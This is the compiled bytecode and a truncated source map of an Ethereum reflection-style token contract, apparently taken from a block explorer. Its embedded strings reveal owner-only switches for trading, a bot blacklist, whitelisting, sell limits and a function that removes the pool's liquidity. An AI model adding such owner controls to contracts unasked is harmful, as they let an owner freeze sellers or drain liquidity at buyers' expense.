da218b146105365780635342acb41461054357806359759f611461056f57600080fd5b8063313ce567116103675780633e65d4aa116103365780633e65d4aa146104d757806340b28c2f146104ea57806342966c68146104fd578063437823ec1461051057600080fd5b8063313ce567146104775780633268cc5614610486578063379ba1d9146104b157806339509351146104c457600080fd5b806318160ddd116103a357806318160ddd1461043657806323b872dd14610448578063274a533c1461045b5780632d8381191461046457600080fd5b806306fdde03146103ca578063095ea7b3146103fe57806313f97a8e14610421575b600080fd5b60408051808201909152600681526509109054d15160d21b60208201525b6040516103f59190612f48565b60405180910390f35b61041161040c366004612fbb565b61090d565b60405190151581526020016103f5565b61043461042f366004613000565b610975565b005b6011545b6040519081526020016103f5565b610411610456366004613086565b610a16565b61043a60175481565b61043a6104723660046130c7565b610b10565b604051600981526020016103f5565b602754610499906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b6104346104bf3660046130e0565b610b94565b6104116104d2366004612fbb565b610bfa565b6104346104e53660046130fd565b610c7a565b6104346104f836600461311a565b610cc6565b61043461050b3660046130c7565b610d1e565b61043461051e3660046130fd565b610d88565b6104346105313660046130e0565b610dd6565b600b546104119060ff1681565b6104116105513660046130fd565b6001600160a01b031660009081526004602052604090205460ff1690565b61043461057d366004613153565b610e13565b602954610499906001600160a01b031681565b6104346105a3366004613175565b610e73565b6104116105b63660046130fd565b6001600160a01b031660009081526008602052604090205460ff1690565b6104116105e23660046130fd565b60066020526000908152604090205460ff1681565b61043a60155481565b61043a60165481565b610434610ec8565b61043a60145481565b600b5461041190610100900460ff1681565b61043a61063a3660046130fd565b61107a565b6104346110df565b601b54601c54601d54601e5461065d9392919084565b6040805194855260208501939093529183015260608201526080016103f5565b601854610499906001600160a01b031681565b602a54610499906001600160a01b031681565b601954610499906001600160a01b031681565b6104116106c43660046130fd565b6001600160a01b031660009081526005602052604090205460ff1690565b6000546001600160a01b0316610499565b6104346107013660046131b9565b611115565b6104346107143660046130e0565b6111ab565b604080518082019091526004815263091094d160e21b60208201526103e8565b60235460245460255460265461065d9392919084565b61043461075d366004613290565b6111ef565b610411610770366004612fbb565b61127a565b601054610499906001600160a01b031681565b610411610796366004612fbb565b611360565b6104346107a93660046130fd565b6113b5565b6104346107bc366004613175565b611401565b601a54610499906001600160a01b031681565b6009546104119060ff1681565b6104346107ef3660046130c7565b611456565b61043a600e5481565b61043461080b3660046130c7565b61149c565b61043461081e366004613175565b6114e2565b61043a61083136600461311a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61043a60135481565b6104346108733660046132c2565b611537565b6104346108863660046130fd565b611583565b600d546104119060ff1681565b6104346108a6366004613000565b6115ce565b6104346108b93660046130fd565b611669565b6104346108cc366004613290565b611701565b602854610499906001600160a01b031681565b601f5460205460215460225461065d9392919084565b600f54610499906001600160a01b031681565b600b54600090339060ff168061093b57506001600160a01b03811660009081526006602052604090205460ff165b6109605760405162461bcd60e51b8152600401610957906132e0565b60405180910390fd5b61096b33858561178d565b5060019392505050565b6000546001600160a01b0316331461099f5760405162461bcd60e51b815260040161095790613317565b60005b82811015610a105781600760008686858181106109c1576109c161334c565b90506020020160208101906109d691906130fd565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a0881613378565b9150506109a2565b50505050565b600b54600090849060ff1680610a4457506001600160a01b03811660009081526006602052604090205460ff165b610a605760405162461bcd60e51b8152600401610957906132e0565b610a6b8585856118b1565b6001600160a01b038516600090815260036020908152604080832033845290915290205483811015610af05760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610957565b610b048633610aff8785613391565b61178d565b50600195945050505050565b6000601254821115610b775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610957565b6000610b8161220e565b9050610b8d81846133a4565b9392505050565b6000546001600160a01b03163314610bbe5760405162461bcd60e51b815260040161095790613317565b600b805461ffff191661ff0019831515908116919091176101008202179091556001148015610bed5750601754155b15610bf757436017555b50565b600b54600090339060ff1680610c2857506001600160a01b03811660009081526006602052604090205460ff165b610c445760405162461bcd60e51b8152600401610957906132e0565b3360008181526003602090815260408083206001600160a01b038916845290915290205461096b91908690610aff9087906133c6565b6000546001600160a01b03163314610ca45760405162461bcd60e51b815260040161095790613317565b601980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cf05760405162461bcd60e51b815260040161095790613317565b600f80546001600160a01b039384166001600160a01b03199182161790915560108054929093169116179055565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161095790613317565b3360009081526001602052604081208054839290610d67908490613391565b925050819055508060116000828254610d809190613391565b909155505050565b6000546001600160a01b03163314610db25760405162461bcd60e51b815260040161095790613317565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610e005760405162461bcd60e51b815260040161095790613317565b6009805460ff1916911515919091179055565b6000546001600160a01b03163314610e3d5760405162461bcd60e51b815260040161095790613317565b610e496009600a6134bd565b610e5390836134cc565b601455610e626009600a6134bd565b610e6c90826134cc565b6015555050565b6000546001600160a01b03163314610e9d5760405162461bcd60e51b815260040161095790613317565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ef25760405162461bcd60e51b815260040161095790613317565b6028546040516370a0823160e01b8152306004820152600091829182916001600160a01b0316906370a0823190602401602060405180830381865afa158015610f3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6391906134e3565b602854602a5460405163095ea7b360e01b81526001600160a01b03918216600482015260248101849052929350169063095ea7b3906044016020604051808303816000875af1158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde91906134fc565b50602a546028546029546001600160a01b03928316926302751cec9281169185918891889116611010426102586133c6565b6040518763ffffffff1660e01b815260040161103196959493929190613519565b60408051808303816000875af115801561104f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110739190613554565b5050505050565b6001600160a01b03811660009081526005602052604081205460ff16156110b757506001600160a01b031660009081526002602052604090205490565b6001600160a01b0382166000908152600160205260409020546110d990610b10565b92915050565b6000546001600160a01b031633146111095760405162461bcd60e51b815260040161095790613317565b6111136000612231565b565b6000546001600160a01b0316331461113f5760405162461bcd60e51b815260040161095790613317565b60005b82518110156111a65781600460008584815181106111625761116261334c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061119e81613378565b915050611142565b505050565b6000546001600160a01b031633146111d55760405162461bcd60e51b815260040161095790613317565b600b80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146112195760405162461bcd60e51b815260040161095790613317565b6040805160808101825285815260208101859052808201849052606001829052601b859055601c849055601d839055601e829055517f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1590600090a150505050565b600b54600090339060ff16806112a857506001600160a01b03811660009081526006602052604090205460ff165b6112c45760405162461bcd60e51b8152600401610957906132e0565b3360009081526003602090815260408083206001600160a01b0388168452909152902054838110156113465760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610957565b6113553386610aff8785613391565b506001949350505050565b600b54600090339060ff168061138e57506001600160a01b03811660009081526006602052604090205460ff165b6113aa5760405162461bcd60e51b8152600401610957906132e0565b61096b3385856118b1565b6000546001600160a01b031633146113df5760405162461bcd60e51b815260040161095790613317565b601880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461142b5760405162461bcd60e51b815260040161095790613317565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146114805760405162461bcd60e51b815260040161095790613317565b61148c6009600a6134bd565b61149690826134cc565b60135550565b6000546001600160a01b031633146114c65760405162461bcd60e51b815260040161095790613317565b6114d26009600a6134bd565b6114dc90826134cc565b60165550565b6000546001600160a01b0316331461150c5760405162461bcd60e51b815260040161095790613317565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146115615760405162461bcd60e51b815260040161095790613317565b61156c8160016134cc565b600e5550600d805460ff1916911515919091179055565b6000546001600160a01b031633146115ad5760405162461bcd60e51b815260040161095790613317565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146115f85760405162461bcd60e51b815260040161095790613317565b60005b82811015610a1057816008600086868581811061161a5761161a61334c565b905060200201602081019061162f91906130fd565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061166181613378565b9150506115fb565b6000546001600160a01b031633146116935760405162461bcd60e51b815260040161095790613317565b6001600160a01b0381166116f85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610957565b610bf781612231565b6000546001600160a01b0316331461172b5760405162461bcd60e51b815260040161095790613317565b6040805160808101825285815260208082018690528183018590526060909101839052601f86905584905560218390556022829055517f846206d6c3449ac0b05841dfb88bf28b55aef00f96152490c69c96238048de1590600090a150505050565b6001600160a01b0383166117ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610957565b6001600160a01b0382166118505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610957565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166119155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610957565b6001600160a01b0382166119775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610957565b600081116119d95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610957565b6119e28361107a565b811115611a4b5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610957565b6001600160a01b03831660009081526007602052604090205460ff16158015611a8d57506001600160a01b03821660009081526007602052604090205460ff16155b611ac95760405162461bcd60e51b815260206004820152600d60248201526c165bdd48185c99481848189bdd609a1b6044820152606401610957565b60095460ff1615611b98576001600160a01b03831660009081526008602052604090205460ff16611b365760405162461bcd60e51b8152602060048201526017602482015276165bdd48185c99481b9bdd081dda1a5d195b1a5cdd1959604a1b6044820152606401610957565b6001600160a01b03821660009081526008602052604090205460ff16611b985760405162461bcd60e51b8152602060048201526017602482015276165bdd48185c99481b9bdd081dda1a5d195b1a5cdd1959604a1b6044820152606401610957565b6001600160a01b03831660009081526004602052604090205460ff16158015611bda57506001600160a01b03821660009081526004602052604090205460ff16155b15611c2657600b5460ff16611c265760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610957565b6001600160a01b03831660009081526004602052604090205460ff16158015611c6857506001600160a01b03821660009081526004602052604090205460ff16155b8015611c815750601754611c7d9060036133c6565b4311155b15611cf0576010546001600160a01b0390811690831603611cf05760405162461bcd60e51b8152602060048201526024808201527f53656c6c73206e6f7420616c6c6f77656420666f72206669727374203320626c6044820152636f636b7360e01b6064820152608401610957565b6010546001600160a01b038481169116148015611d2657506001600160a01b03821660009081526004602052604090205460ff16155b8015611d3b5750600b5462010000900460ff16155b15611df757601454811115611d925760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d69740000006044820152606401610957565b60165481611d9f8461107a565b611da991906133c6565b1115611df75760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610957565b6010546001600160a01b03848116911614801590611e2e57506001600160a01b03821660009081526004602052604090205460ff16155b8015611e5357506001600160a01b03831660009081526004602052604090205460ff16155b8015611e685750600b5462010000900460ff16155b15611fcb57601554811115611ebf5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d697400006044820152606401610957565b6010546001600160a01b03838116911614611f395760165481611ee18461107a565b611eeb91906133c6565b1115611f395760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610957565b600d5460ff1615611fcb576001600160a01b0383166000908152600c6020526040812054611f679042613391565b9050600e54811015611fae5760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b6044820152606401610957565b506001600160a01b0383166000908152600c602052604090204290555b611fd76009600a6134bd565b611fe290600a6134cc565b81611fec8561107a565b611ff69190613391565b1161201b576120048361107a565b61200e9082613391565b6120189082613391565b90505b60006013546120293061107a565b600b54911115915062010000900460ff1615801561204e5750600b54610100900460ff165b80156120575750805b801561207157506010546001600160a01b03858116911614155b801561209657506001600160a01b03841660009081526004602052604090205460ff16155b80156120bb57506001600160a01b03831660009081526004602052604090205460ff16155b15612147576010546001600160a01b03908116908416036121115760135460408051608081018252601f548152602080549082015260215491810191909152602254606082015261210c9190612281565b612147565b60135460408051608081018252601b548152601c546020820152601d5491810191909152601e5460608201526121479190612281565b600b5460019060009062010000900460ff168061217c57506001600160a01b03861660009081526004602052604090205460ff165b8061219f57506001600160a01b03851660009081526004602052604090205460ff165b156121a957600091505b6010546001600160a01b03908116908616036121c3575060015b6010546001600160a01b038681169116148015906121ef57506010546001600160a01b03878116911614155b156121f957600091505b61220686868685856123db565b505050505050565b600080600061221b612671565b909250905061222a81836133a4565b9250505090565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600b805462ff0000191662010000179055606081015160208201516040830151600092916122ae916133c6565b6122b891906133c6565b6122c39060026134cc565b90506000818360400151856122d891906134cc565b6122e291906133a4565b905060006122f08286613391565b9050476122fc826127f4565b60006123088247613391565b9050600086604001518661231c9190613391565b61232690836133a4565b9050600087604001518261233a91906134cc565b9050801561234c5761234c8682612946565b602088015160009061235f8460026134cc565b61236991906134cc565b9050801561238757601854612387906001600160a01b0316826129ec565b606089015160009061239a8560026134cc565b6123a491906134cc565b905080156123c2576019546123c2906001600160a01b0316826129ec565b5050600b805462ff000019169055505050505050505050565b60006123e8848484612b05565b6001600160a01b03871660009081526005602052604090205490915060ff161561244a576001600160a01b038616600090815260026020526040902054612430908590613391565b6001600160a01b0387166000908152600260205260409020555b6001600160a01b03851660009081526005602052604090205460ff16156124ad5760a08101516001600160a01b03861660009081526002602052604090205461249391906133c6565b6001600160a01b0386166000908152600260205260409020555b80516001600160a01b0387166000908152600160205260409020546124d29190613391565b6001600160a01b038088166000908152600160209081526040808320949094558401519188168152919091205461250991906133c6565b6001600160a01b0386166000908152600160205260409020556060810151151580612538575060008160e00151115b156125ba5761254f81606001518260e00151612b5c565b306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361010001518460c001518560e0015161259e91906133c6565b6125a891906133c6565b60405190815260200160405180910390a35b6000816040015111806125d1575060008160c00151115b156125e8576125e881604001518260c00151612bf1565b60008160800151118061260057506000816101000151115b15612618576126188160800151826101000151612c7d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a0015160405161266191815260200190565b60405180910390a3505050505050565b6012546011546000918291825b600a548110156127c3578260016000600a84815481106126a0576126a061334c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061270b57508160026000600a84815481106126e4576126e461334c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561272157601254601154945094505050509091565b60016000600a83815481106127385761273861334c565b60009182526020808320909101546001600160a01b031683528201929092526040019020546127679084613391565b925060026000600a83815481106127805761278061334c565b60009182526020808320909101546001600160a01b031683528201929092526040019020546127af9083613391565b9150806127bb81613378565b91505061267e565b506011546012546127d491906133a4565b8210156127eb576012546011549350935050509091565b90939092509050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128295761282961334c565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128a69190613578565b816001815181106128b9576128b961334c565b6001600160a01b039283166020918202929092010152600f546128df913091168461178d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612918908590600090869030904290600401613595565b600060405180830381600087803b15801561293257600080fd5b505af1158015612206573d6000803e3d6000fd5b600f5461295e9030906001600160a01b03168461178d565b600f546001600160a01b031663f305d7198230856000806129876000546001600160a01b031690565b426040518863ffffffff1660e01b81526004016129a996959493929190613519565b60606040518083038185885af11580156129c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110739190613606565b80471015612a3c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610957565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612a89576040519150601f19603f3d011682016040523d82523d6000602084013e612a8e565b606091505b50509050806111a65760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610957565b612b0d612efc565b612b18848484612d09565b9050612b2d818585612b2861220e565b612e48565b6060850152604084015260208301528152612b508184612b4b61220e565b612ed4565b60808201529392505050565b8060236002016000828254612b7191906133c6565b90915550503060009081526005602052604090205460ff1615612bbe576010546001600160a01b031660009081526002602052604081208054839290612bb89084906133c6565b90915550505b6010546001600160a01b031660009081526001602052604081208054849290612be89084906133c6565b90915550505050565b8060236001016000828254612c0691906133c6565b90915550503060009081526005602052604090205460ff1615612c53576018546001600160a01b031660009081526002602052604081208054839290612c4d9084906133c6565b90915550505b6018546001600160a01b031660009081526001602052604081208054849290612be89084906133c6565b8060236003016000828254612c9291906133c6565b90915550503060009081526005602052604090205460ff1615612cdf576019546001600160a01b031660009081526002602052604081208054839290612cd99084906133c6565b90915550505b6019546001600160a01b031660009081526001602052604081208054849290612be89084906133c6565b612d11612efc565b82612d225760a08101849052610b8d565b612d4d6040518060800160405280600081526020016000815260200160008152602001600081525090565b8215612d82575060408051608081018252601f5481526020805490820152602154918101919091526022546060820152612dad565b5060408051608081018252601b548152601c546020820152601d5491810191909152601e5460608201525b6064816020015186612dbf91906134cc565b612dc991906133a4565b60c08301526040810151606490612de090876134cc565b612dea91906133a4565b60e08301526060810151606490612e0190876134cc565b612e0b91906133a4565b610100830181905260e083015160c0840151612e279088613391565b612e319190613391565b612e3b9190613391565b60a0830152509392505050565b6000808080612e5785886134cc565b935085612e6c57508291506000905080612ec9565b848860c00151612e7c91906134cc565b9150848860e00151612e8e91906134cc565b9050600085896101000151612ea391906134cc565b90508082612eb18588613391565b612ebb9190613391565b612ec59190613391565b9350505b945094509450949050565b600082612ee357506000610b8d565b81846101000151612ef491906134cc565b949350505050565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b81811015612f7557858101830151858201604001528201612f59565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bf757600080fd5b8035612fb681612f96565b919050565b60008060408385031215612fce57600080fd5b8235612fd981612f96565b946020939093013593505050565b8015158114610bf757600080fd5b8035612fb681612fe7565b60008060006040848603121561301557600080fd5b833567ffffffffffffffff8082111561302d57600080fd5b818601915086601f83011261304157600080fd5b81358181111561305057600080fd5b8760208260051b850101111561306557600080fd5b6020928301955093505084013561307b81612fe7565b809150509250925092565b60008060006060848603121561309b57600080fd5b83356130a681612f96565b925060208401356130b681612f96565b929592945050506040919091013590565b6000602082840312156130d957600080fd5b5035919050565b6000602082840312156130f257600080fd5b8135610b8d81612fe7565b60006020828403121561310f57600080fd5b8135610b8d81612f96565b6000806040838503121561312d57600080fd5b823561313881612f96565b9150602083013561314881612f96565b809150509250929050565b6000806040838503121561316657600080fd5b50508035926020909101359150565b6000806040838503121561318857600080fd5b823561319381612f96565b9150602083013561314881612fe7565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156131cc57600080fd5b823567ffffffffffffffff808211156131e457600080fd5b818501915085601f8301126131f857600080fd5b813560208282111561320c5761320c6131a3565b8160051b604051601f19603f83011681018181108682111715613231576132316131a3565b60405292835281830193508481018201928984111561324f57600080fd5b948201945b838610156132745761326586612fab565b85529482019493820193613254565b96506132839050878201612ff5565b9450505050509250929050565b600080600080608085870312156132a657600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156132d557600080fd5b8235612fd981612fe7565b60208082526017908201527f54726164696e67206e6f7420656e61626c656420796574000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161338a5761338a613362565b5060010190565b818103818111156110d9576110d9613362565b6000826133c157634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156110d9576110d9613362565b600181815b808511156134145781600019048211156133fa576133fa613362565b8085161561340757918102915b93841c93908002906133de565b509250929050565b60008261342b575060016110d9565b81613438575060006110d9565b816001811461344e576002811461345857613474565b60019150506110d9565b60ff84111561346957613469613362565b50506001821b6110d9565b5060208310610133831016604e8410600b8410161715613497575081810a6110d9565b6134a183836133d9565b80600019048211156134b5576134b5613362565b029392505050565b6000610b8d60ff84168361341c565b80820281158282048414176110d9576110d9613362565b6000602082840312156134f557600080fd5b5051919050565b60006020828403121561350e57600080fd5b8151610b8d81612fe7565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806040838503121561356757600080fd5b505080516020909101519092909150565b60006020828403121561358a57600080fd5b8151610b8d81612f96565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156135e55784516001600160a01b0316835293830193918301916001016135c0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561361b57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ceb87aeb8d4f9441191429ed51f09633c3484dc1941c7e281846d6191a0f9f9164736f6c63430008120033

Deployed Bytecode Sourcemap

3542:21099:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8529:83;8599:5;;;;;;;;;;;;-1:-1:-1;;;8599:5:0;;;;8529:83;;;;;;;:::i;:::-;;;;;;;;9289:181;;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;9289:181:0;1162:187:1;23578:211:0;;;;;;:::i;:::-;;:::i;:::-;;8825:95;8905:7;;8825:95;;;2511:25:1;;;2499:2;2484:18;8825:95:0;2365:177:1;9478:430:0;;;;;;:::i;:::-;;:::i;5090:28::-;;;;;;11201:248;;;;;;:::i;:::-;;:::i;8711:83::-;;;4675:1;3335:36:1;;3323:2;3308:18;8711:83:0;3193:184:1;6271:73:0;;;;;-1:-1:-1;;;;;6271:73:0;;;;;;-1:-1:-1;;;;;3546:32:1;;;3528:51;;3516:2;3501:18;6271:73:0;3382:203:1;10881:206:0;;;;;;:::i;:::-;;:::i;9916:228::-;;;;;;:::i;:::-;;:::i;22654:110::-;;;;;;:::i;:::-;;:::i;24484:154::-;;;;;;:::i;:::-;;:::i;8379:126::-;;;;;;:::i;:::-;;:::i;11457:111::-;;;;;;:::i;:::-;;:::i;11093:100::-;;;;;;:::i;:::-;;:::i;4162:26::-;;;;;;;;;11694:123;;;;;;:::i;:::-;-1:-1:-1;;;;;11782:27:0;11758:4;11782:27;;;:18;:27;;;;;;;;;11694:123;24158:183;;;;;;:::i;:::-;;:::i;6387:76::-;;;;;-1:-1:-1;;;;;6387:76:0;;;23189:126;;;;;;:::i;:::-;;:::i;23452:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;23542:22:0;23519:4;23542:22;;;:13;:22;;;;;;;;;23452:120;3926:48;;;;;;:::i;:::-;;;;;;;;;;;;;;;;4968:50;;;;;;5025:52;;;;;;7852:521;;;:::i;4913:48::-;;;;;;4195:23;;;;;;;;;;;;8928:198;;;;;;:::i;:::-;;:::i;1971:94::-;;;:::i;5603:38::-;;;;;;;;;;;;;;;;;;;;5352:25:1;;;5408:2;5393:18;;5386:34;;;;5436:18;;;5429:34;5494:2;5479:18;;5472:34;5339:3;5324:19;5603:38:0;5121:391:1;5131:75:0;;;;;-1:-1:-1;;;;;5131:75:0;;;6470:31;;;;;-1:-1:-1;;;;;6470:31:0;;;5213:73;;;;;-1:-1:-1;;;;;5213:73:0;;;10749:120;;;;;;:::i;:::-;-1:-1:-1;;;;;10841:20:0;10817:4;10841:20;;;:11;:20;;;;;;;;;10749:120;1748:87;1794:7;1821:6;-1:-1:-1;;;;;1821:6:0;1748:87;;22311:209;;;;;;:::i;:::-;;:::i;23076:101::-;;;;;;:::i;:::-;;:::i;8618:87::-;8690:7;;;;;;;;;;;;-1:-1:-1;;;8690:7:0;;;;8618:87;;5848:36;;;;;;;;;;;;;;;;11827:204;;;;;;:::i;:::-;;:::i;10152:390::-;;;;;;:::i;:::-;;:::i;4612:19::-;;;;;-1:-1:-1;;;;;4612:19:0;;;10554:187;;;;;;:::i;:::-;;:::i;22528:114::-;;;;;;:::i;:::-;;:::i;24017:129::-;;;;;;:::i;:::-;;:::i;5293:73::-;;;;;-1:-1:-1;;;;;5293:73:0;;;4090:27;;;;;;;;;22938:130;;;;;;:::i;:::-;;:::i;4382:39::-;;;;;;24353:123;;;;;;:::i;:::-;;:::i;23321:125::-;;;;;;:::i;:::-;;:::i;9138:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9246:18:0;;;9219:7;9246:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9138:143;4855:51;;;;;;22778:152;;;;;;:::i;:::-;;:::i;11576:110::-;;;;;;:::i;:::-;;:::i;4340:35::-;;;;;;;;;23795:210;;;;;;:::i;:::-;;:::i;2073:192::-;;;;;;:::i;:::-;;:::i;12043:212::-;;;;;;:::i;:::-;;:::i;6351:29::-;;;;;-1:-1:-1;;;;;6351:29:0;;;5648:42;;;;;;;;;;;;;;;;4584:21;;;;;-1:-1:-1;;;;;4584:21:0;;;9289:181;4486:14;;9384:4;;9364:10;;4486:14;;;:42;;-1:-1:-1;;;;;;4504:24:0;;;;;;:15;:24;;;;;;;;4486:42;4478:78;;;;-1:-1:-1;;;4478:78:0;;;;;;;:::i;:::-;;;;;;;;;9401:39:::1;971:10:::0;9424:7:::1;9433:6;9401:8;:39::i;:::-;-1:-1:-1::0;9458:4:0::1;::::0;9289:181;-1:-1:-1;;;9289:181:0:o;23578:211::-;1794:7;1821:6;-1:-1:-1;;;;;1821:6:0;971:10;1883:23;1875:68;;;;-1:-1:-1;;;1875:68:0;;;;;;;:::i;:::-;23679:9:::1;23675:107;23693:19:::0;;::::1;23675:107;;;23763:5;23733:14;:27;23748:8;;23757:1;23748:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;23733:27:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;23733:27:0;:35;;-1:-1:-1;;23733:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;23714:3;::::1;::::0;::::1;:::i;:::-;;;;23675:107;;;;23578:211:::0;;;:::o;9478:430::-;4486:14;;9592:4;;9575:6;;4486:14;;;:42;;-1:-1:-1;;;;;;4504:24:0;;;;;;:15;:24;;;;;;;;4486:42;4478:78;;;;-1:-1:-1;;;4478:78:0;;;;;;;:::i;:::-;9609:36:::1;9619:6;9627:9;9638:6;9609:9;:36::i;:::-;-1:-1:-1::0;;;;;9685:19:0;::::1;9658:24;9685:19:::0;;;:11:::1;:19;::::0;;;;;;;971:10;9685:33;;;;;;;;9737:26;;::::1;;9729:79;;;::::0;-1:-1:-1;;;9729:79:0;;9323:2:1;9729:79:0::1;::::0;::::1;9305:21:1::0;9362:2;9342:18;;;9335:30;9401:34;9381:18;;;9374:62;-1:-1:-1;;;9452:18:1;;;9445:38;9500:19;;9729:79:0::1;9121:404:1::0;9729:79:0::1;9819:57;9828:6:::0;971:10;9850:25:::1;9869:6:::0;9850:16;:25:::1;:::i;:::-;9819:8;:57::i;:::-;-1:-1:-1::0;9896:4:0::1;::::0;9478:430;-1:-1:-1;;;;;9478:430:0:o;11201:248::-;11267:7;11306;;11295;:18;;11287:73;;;;-1:-1:-1;;;11287:73:0;;9865:2:1;11287:73:0;;;9847:21:1;9904:2;9884:18;;;9877:30;9943:34;9923:18;;;9916:62;-1:-1:-1;;;9994:18:1;;;9987:40;10044:19;;11